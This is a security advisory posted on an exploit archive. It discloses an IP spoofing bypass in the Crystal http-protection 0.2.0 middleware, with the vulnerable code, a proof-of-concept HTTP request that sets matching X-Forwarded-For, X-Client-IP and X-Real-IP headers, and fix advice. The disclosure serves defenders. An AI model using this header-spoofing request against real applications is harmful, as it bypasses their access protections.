what you don't know can hurt you

Crystal Shard http-protection 0.2.0 IP Spoofing Bypass

Crystal Shard http-protection 0.2.0 IP Spoofing Bypass
Posted May 29, 2020
Authored by Halis Duraki

Crystal Shard http-protection version 0.2.0 suffers from an IP spoofing bypass vulnerability.

tags | exploit, web, spoof, bypass
SHA-256 | 5541826f04a3a19d5af667dd573923bfd3ca06a9c8ea0aac07e7a6742fd3ff60

Crystal Shard http-protection 0.2.0 IP Spoofing Bypass

Change Mirror Download
# Exploit Title : Crystal Shard http-protection 0.2.0 - IP Spoofing Bypass
# Exploit Author : Halis Duraki (@0xduraki)
# Date : 2020-05-28
# Product : http-protection (Crystal Shard)
# Product URI : https://github.com/rogeriozambon/http-protection
# Version : http-protection <= 0.2.0
# CVE : N/A

## About the product

This library/shard (http-protection) protects against typical web attacks with-in Crystal applications. It was inspired by rack-protection Ruby gem. It is an open-source product developed by Rogério Zambon in Brazil. The total number of installs and respective usage is not known (no available information), but the Shard get the traction on Crystal official channels (Crystals' ANN, Gitter, and Shardbox).

## About the exploit

The `IpSpoofing` middleware detects spoofing attacks (and likewise, should prevent it). Both of this functionalities can be bypassed by enumerating and hardcoding `X-*` header values. The middleware works by detecting difference between IP addr values of `X-Forwarded-For` & `X-Real-IP/X-Client-IP`. If the values mismatch, the middleware protects the application by forcing `403 (Forbidden)` response.

Relevant code (src/http-protection/ip_spoofing.cr):

```
module HTTP::Protection
class IpSpoofing
...

def call(... ctx)
...
ips = headers["X-Forwarded-For"].split(/\s*,\s*/)

return forbidden(context) if headers.has_key?("X-Client-IP") && !ips.includes?(headers["X-Client-IP"])
return forbidden(context) if headers.has_key?("X-Real-IP") && !ips.includes?(headers["X-Real-IP"])
...
end
end
end
```

The exploit works by hardcoding the values in all protection request headers following the same const IP Address. The standard format for `X-Forwarded-For` from MDN reference those values as: `X-Forwarded-For: <client>, <proxy1>, <proxy2>`. HTTP request headers such as X-Forwarded-For, True-Client-IP, and X-Real-IP are not a robust foundation on which to build any security measures, such as access controls.

@see CWE-16: https://cwe.mitre.org/data/definitions/16.html

## PoC (Proof of Concept)

* Set a breakpoint on the request, or intercept request.
* Hardcore all three request headers:
* X-Forwarded-For: 123.123.123.123
* X-Client-IP: 123.123.123.123
* X-Real-IP: 123.123.123.123
* Continue request.
* Response should be 200 OK, otherwise, 400 Forbidden.

++ Request example (POC):

```
GET / HTTP/1.1
Host: localhost.:8081
X-Forwarded-For: 123.123.123.123
X-Client-IP: 123.123.123.123
X-Real-IP: 123.123.123.123
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
```

++ Response (POC):

```
200 OK
````

## Fix

It is advised to fix the IpSpoofing detection via checking socket data directly instead of relying on passed header key/vals. The other solution is to force proxy to dismiss such data (on request) and use original source (proxified).

==============================================================================================================
+ Halis Duraki | duraki@linuxmail.org | @0xduraki | https://duraki.github.io
==============================================================================================================
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    6 Files
  • 24
    May 24th
    19 Files
  • 25
    May 25th
    5 Files
  • 26
    May 26th
    12 Files
  • 27
    May 27th
    12 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close